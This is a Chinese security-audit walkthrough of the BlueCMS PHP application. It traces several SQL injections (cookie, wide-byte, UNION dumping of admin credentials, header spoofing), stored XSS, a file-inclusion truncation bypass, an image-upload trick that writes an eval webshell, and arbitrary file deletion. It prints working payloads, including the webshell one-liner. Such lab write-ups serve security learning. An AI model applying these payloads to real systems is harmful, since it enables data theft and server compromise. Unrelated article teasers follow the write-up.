7、Bluecms代码审计

news2024/9/29 21:22:19

一、sql注入

环境

流程:将bluecms文件夹放到WWW中,访问文件中的install(安装文件),安装后可以删掉

在这里插入图片描述

成功后直接访问bluecms目录即可

在这里插入图片描述

后台访问报错解决。在php.ini配置文件里找到。关闭后记得重启phpstudy
display_errors = off

在这里插入图片描述
在这里插入图片描述

建议删除安装文件或者将文件名更改

在这里插入图片描述

1、sql注入(Ⅰ)

限制

后台

过程

http://127.0.0.1/bluecms/admin/接口
有index.php首页包含的common.inc.php文件

在这里插入图片描述

在index.php文件里已经设置了 'IN_BLUE' 常量。就继续执行。获取系统设置是否开启,没开启就手动设置将这些请求方式接受的值进行过滤(单引号(')、双引号(”)、反斜线()与 NUL(NULL 字符)反斜杠转义).由于定义的cookies不是cookie,所以只对cookies进行了过滤,对cookie没有影响

在这里插入图片描述

判断admin_id为空,act!=login &!=do_login &!=logout。数据包里没有这些字段,所以成立就进入。

在这里插入图片描述

判断cookie接受的Blue[admin_id]、Blue[admin_name]、Blue[admin_pwd]这些参数是否存在。如果存在就检查cookie里的Blue[admin_name]、Blue[admin_pwd]。

在这里插入图片描述

检查账号密码直接去数据库查询

在这里插入图片描述

此时可以构造cookie判断的参数,让他存在并且进入验证。可以输出sql语句方便查看
此时判断出存在的注入点,并且有单引号

在这里插入图片描述

闭合单引号,用延时语句测试。正常执行时2057

在这里插入图片描述

延时1,时间是11120

在这里插入图片描述
在这里插入图片描述

2、sql注入(Ⅱ)

限制

过程

直接加单引号没有报错,因为是GBK编码格式,可以用两个字符将单引号吃掉,成功报错还带出来sql语句.

在这里插入图片描述

使用报错语句注入没有执行成功,在数据库可以成功。既然是注册就是往数据库插入数据,可以利用插入语句来执行查询其他账户

在这里插入图片描述

执行插入语句在邮箱的位置添加查询数据库的语句,登录插入的账户,在邮箱位置就会显示查询的数据库名

在这里插入图片描述
在这里插入图片描述

3、sql注入(Ⅲ)

限制

过程

在ad_js.php文件里发现sql注入。
get接受的ad_id参数判断是否为空且两边去空,如果参数为空就输出错误结束执行。过程中没有过滤就带入到getone拼接sql语句

在这里插入图片描述

继续跟踪到getone函数,只是一个连接数据库的操作。很明显是存在sql注入的。

在这里插入图片描述

但是访问后发现被转义了,找到最开始的ad_js.php,其中包含的文件/include/common.inc.php。在这个文件里存在一些过滤。addslashes针对单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)

在这里插入图片描述
在这里插入图片描述

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
但是参数并没有在单双引号内,所以不用考虑闭合直接在参数位置注入就可以。测试出7为回显点

在这里插入图片描述
在这里插入图片描述

爆表名:
group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名:
group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
爆数据:
GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

在这里插入图片描述

既然存在sql注入说明xss也没有过滤

在这里插入图片描述

4、sql注入(Ⅳ)

限制

过程

在评论的地方使用了实体化编码函数进行编码,所以不存在xss

在这里插入图片描述

$online_ip = getip();
getip()函数是在common.inc.php文件里定义的。common.fun.php文件调用了这个函数
这里出现getip()函数,跟进去发现是用来获取真实ip的,getenv(参数)函数是一个用于获取环境变量的函数,根据提供不同的参数可以获取不同的环境变量。获取的真实IP并且没有任何过滤直接插入到数据库。

在这里插入图片描述

访问 guest_book.php转成POST请求方式,构造参数,使用client-ip伪造ip地址

在这里插入图片描述

二、XSS

1、xss(Ⅰ)

限制

过程

让这些条件检查参数是否为空和去空格,都成立就直接拼接了sql语句,过程中没有任何过滤

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、xss(Ⅱ)

限制

后台发布内容,前台触发

过程

user.php
对content参数进行过滤。虽然有过滤但过滤不严谨。
content调用filter_data函数来过滤关键字"/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/"
过滤了script|i?frame|meta|link这几个标签,但是没有过滤img标签

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

title=>标题,color=>颜色,author=>作者,source=>来源,都使用了htmlspecialchars转义。只有content没有做转义处理,所以在这个地方存在xss.
<a href=javascript:alert(1)>dianjichufa</a>点击触发

在这里插入图片描述

三、文件包含

限制

利用文件上传包含上传的马

过程

user.php文件
$_POST['pay']从前端传进来的参数没有任何过滤处理直接拼接了包含的文件,虽然后面还拼接了/index.php,可以通过截断的方式绕过

在这里插入图片描述

利用:
先在bluecms目录下创建个文件text.php内容为phpinfo.尝试能不能访问成功

在这里插入图片描述

在线支付通过抓包将post包添加参数,使用多个点来截断,注意php版本,高版本已修复这个漏洞pay=../../text.php........................................................................................................................................................................................................................................

在这里插入图片描述

可以结合文件上传,传入木马进行getshell

五、文件上传

限制

过程

经过分析上传的图片只对图片类型和图片后缀做了限制,没有对内容过滤,所以只要上传符合条件的图片马就可以

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.php里写入的代码时生成一个wk.php的文件,内容为一句话木马
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
上传成功后会显示上传后的文件路径

在这里插入图片描述

上传成功后直接访问利用图片马生成的文件,利用hacker构建post请求,执行命令输出phpinfo

在这里插入图片描述

六、任意文件删除

限制

过程

利用seay审计工具自动审计功能,此功能不能完全正确,需求手动确认

在这里插入图片描述

定位跟踪到相关文件以及对应的参数。接受参数id直接拼接sql删除语句,显示删除了数据库的id值,再去判断本地文件是否存在,如果存在就删除

在这里插入图片描述

在当前目录随便创建个文件,构造删除语句。

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1485468.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【javaSE-语法】lambda表达式

【javaSE-语法】lambda表达式 1. 先回忆一下&#xff1a;1.1 接口不能直接通过关键字new进行实例化1.2 函数式接口1.3 匿名内部类1.31 匿名内部类在代码中长啥样&#xff1f;1.32 构造一个新的对象与构造一个扩展了某类的匿名内部类的对象&#xff0c;两者有什么区别&#xff1…

Bert基础(五)--解码器(下)

1、 多头注意力层 下图展示了Transformer模型中的编码器和解码器。我们可以看到&#xff0c;每个解码器中的多头注意力层都有两个输入&#xff1a;一个来自带掩码的多头注意力层&#xff0c;另一个是编码器输出的特征值。 让我们用R来表示编码器输出的特征值&#xff0c;用M来…

visio、ppt、office等另存图片,如何设置更清晰

visio、ppt、office等另存图片&#xff0c;如何设置更清晰 选中要另存为的部分——文件——另存为——选好位置——格式选jpg——保存——按下图设置&#xff1a;质量100%&#xff0c;分辨率选打印机&#xff0c;大小选屏幕——确定

MySQL 教程 2.4

MySQL UNION 操作符 本教程为大家介绍 MySQL UNION 操作符的语法和实例。 描述 MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合&#xff0c;并去除重复的行。 UNION 操作符必须由两个或多个 SELECT 语句组成&#xff0c;每个 SELECT 语句的列数…

盘点实用又有意思的工具网站-搜嗖工具箱

生命倒计时 www.thismuchlonger.com 这是一个相哇塞的网站&#xff0c;可以让我们静下心来好好想想我们来这个世界究竟为了什么&#xff0c;因为当我们作为命运的主宰者。敲打键盘设定好自己一生长度的时候&#xff0c;我们的剩余寿命已经成绝对值&#xff0c;一旦生命变为了绝…

测试:腾讯云4核8G服务器支持多少人在线访问?

腾讯云4核8G服务器支持多少人在线访问&#xff1f;支持25人同时访问。实际上程序效率不同支持人数在线人数不同&#xff0c;公网带宽也是影响4核8G服务器并发数的一大因素&#xff0c;假设公网带宽太小&#xff0c;流量直接卡在入口&#xff0c;4核8G配置的CPU内存也会造成计算…

【JavaScript 漫游】【028】拖拉事件

文章简介 本篇文章为【JavaScript 漫游】专栏的第 027 篇文章&#xff0c;主要记录了 JavaScript 中拖拉事件的知识点。 拖拉事件的种类 拖拉&#xff08;drag&#xff09;指的是&#xff0c;用户在某个对象上按下鼠标键不放&#xff0c;拖动它到另一个位置&#xff0c;然后…

【2024】利用python爬取csdn的博客用于迁移到hexo,hugo,wordpress...

前言 博主根据前两篇博客进行改进和升级 利用python爬取本站的所有博客链接-CSDN博客文章浏览阅读955次&#xff0c;点赞6次&#xff0c;收藏19次。定义一个json配置文件方便管理现在文件只有用户名称,后续可加配置读取用户名称&#xff0c;并且将其拼接成csdn个人博客链接ty…

【python】爬取链家二手房数据做数据分析【附源码】

一、前言、 在数据分析和挖掘领域中&#xff0c;网络爬虫是一种常见的工具&#xff0c;用于从网页上收集数据。本文将介绍如何使用 Python 编写简单的网络爬虫程序&#xff0c;从链家网上海二手房页面获取房屋信息&#xff0c;并将数据保存到 Excel 文件中。 二、效果图&#…

基于springboot+vue的在线考试系统(源码+论文)

文章目录 目录 文章目录 前言 一、功能设计 二、功能页面 三、论文 前言 现在我国关于在线考试系统的发展以及专注于对无纸化考试的完善程度普遍不高&#xff0c;关于对考试的模式还大部分还停留在纸介质使用的基础上&#xff0c;这种教学模式已不能解决现在的时代所产生的考试…

GitLab--Merge Request 权限管理

场景 团队在日常开发工作中需要进行分支管理&#xff0c;通常使用feature分支进行开发&#xff0c;然后依次合并到dev分支、release分支&#xff0c;整个代码合并过程不仅仅是代码合并还需要对代码进行审核&#xff0c;如果在线下进行审核合并&#xff0c;这样操作无法保留痕迹…

博客笔记项目的自动化测试

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;测试开发项目 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01;&#xff01;! 文章目录 …

idea中springboot项目创建后追加依赖

springboot项目创建后追加依赖 前言1、安装插件editstarters设置->插件 2、进入pom.xml 页面 前言 在项目创建的时候选择好依赖创建项目&#xff0c;之后追加依赖不是很方便&#xff0c;介绍一个简单的使用方法&#xff0c;通过editstarters进行添加 1、安装插件editstart…

Http协议综述

目录 一.B/S架构 二.Http协议 1.概述 2.特点 3.请求数据格式 &#xff08;1&#xff09;请求头 &#xff08;2&#xff09;请求行 &#xff08;3&#xff09;请求体 4.相应数据格式 &#xff08;1&#xff09;相应行 &#xff08;2&#xff09;相应头 &#xff08;…

鸡尾酒疗法 T1067

鸡尾酒疗法&#xff0c;原指 “高效抗逆转录病毒治疗”&#xff08;HAARTHAART&#xff09;&#xff0c;由美籍华裔科学家何大一于 1996 年提出&#xff0c;是通过三种或三种以上的抗病毒药物联合使用来治疗艾滋病。该疗法的应用可以减少单一用药产生的抗药性&#xff0c;最大限…

假如有n个台阶,一次只能上1个台阶或2个台阶,请问走到第n个台阶有几种走法?

说明如下:假如有 3个台阶&#xff0c;那么总计就有3种走法:第一种为每次上1个台阶&#xff0c;上3次;第二种为先上2个台阶&#xff0c;再上1个台阶;第三种为先上1个台阶&#xff0c;再上2个台阶。 解决方法&#xff1a;递归 代码展示&#xff1a; #include <stdio.h> …

chromedriver,Chrome驱动的实时更新

发现自己的selenium项目跑不起来了 效验驱动版本 下载链接(可能需要魔法) https://registry.npmmirror.com/binary.html?pathchromedriver/ https://googlechromelabs.github.io/chrome-for-testing/ 找到驱动位置 1. 默认安装路径&#xff1a;Chrome驱动通常会默认安装在系…

要求将两个链表合并成一个有序(从小到大)链表

给定两个元素有序&#xff08;从小到大&#xff09;的链表&#xff0c;要求将两个链表合并成一个有序&#xff08;从小到大&#xff09;链表&#xff0c; 输入描述: 第一行输入第一个链表的结点数S1&#xff0c;S1<100。 第二行输入S1个整数&#xff0c;两两之间用空格隔开…

Android---SmartRefreshLayout实现上拉刷新和下拉加载更多

1. 在 build.gradle 中添加依赖 // 下拉刷新&#xff0c;上拉加载更多 // https://github.com/scwang90/SmartRefreshLayout implementation io.github.scwang90:refresh-layout-kernel:2.1.0 //核心必须依赖 implementation io.github.scwang90:refresh-header-classics…

CleanMyMac X2024一款专为Mac用户设计的优化工具

亲爱的用户们&#xff0c;我们都知道电脑在长时间使用后会变得越来越慢&#xff0c;垃圾文件和无用的应用程序会占用我们的硬盘空间&#xff0c;让我们的电脑变得像蜗牛一样慢。但是&#xff0c;现在有一个解决方案可以让你的电脑重获新生&#xff0c;那就是CleanMyMac X&#…